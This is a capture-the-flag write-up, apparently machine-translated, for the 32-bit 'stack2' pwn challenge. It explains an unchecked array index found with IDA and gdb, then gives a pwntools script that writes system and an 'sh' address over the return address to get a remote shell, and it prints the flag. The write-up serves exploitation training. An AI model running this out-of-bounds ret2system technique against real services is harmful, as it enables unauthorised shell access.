pwn stack2

Drag in the 32-bit ida and

analyze it roughly. This program is that you can save some numbers in it, and then choose to display the numbers, add numbers and other operations. This question I learned a new and more hidden loophole: array overflow,

look here, When we select the 3, add number option, although the v13 array defines 100, there is no detection for v5. In this way, we can modify any number, including data outside of 100. We can use this One point, change the return address and other parameters

. The hackhere here is not available, but here is the system function. We only need to find sh and pass it to the system function.

Next we will find the location where the first parameter of v13 is stored,

var_88 It is the first number we input, and seeing that it is finally stored in the address stored in eax, we can debug with gdb, and the breakpoint is at 0x080486d5, and then run, and see what the address stored in eax at this time is What
input b *0x080486d5, r, 1, 1 in turn

The
same is true for 0xffffcfc8 in eax . Look at the return address
esp at the end of the program runs to the top of the stack. When the program ends, esp points to the return address.

This time it is broken here, 0x080488f2

esp, 0xffffd04c, minus one, the 0x84
code is as follows

from pwn import *

def send_num(addr,num):
 	sh.sendlineafter("5. exit","3")
 	sh.sendlineafter("which number to change:",str(addr))
 	sh.sendlineafter("new number:",str(num))
sh=remote('111.198.29.45',39250)
sh.sendlineafter("How many numbers you have:","1")
sh.sendlineafter("Give me your numbers","1")

send_num(0x84,0x50)
send_num(0x85,0x84)
send_num(0x86,0x04)
send_num(0x87,0x08)
#注意这里是0x8c
send_num(0x8c,0x87)
send_num(0x8d,0x89)
send_num(0x8e,0x04)
send_num(0x8f,0x08)

sh.sendline("5")
sh.interactive()

We go to the first number 0x84, which is the return address, and pass in the address 0x08048450 of the system function. There is no need to consider the four bytes in the middle, and then pass the address 0x08048987'sh' as ​​a parameter to the function system
flag : Cyberpeace{1ba810e17403a9004cd8a5997c5eb110}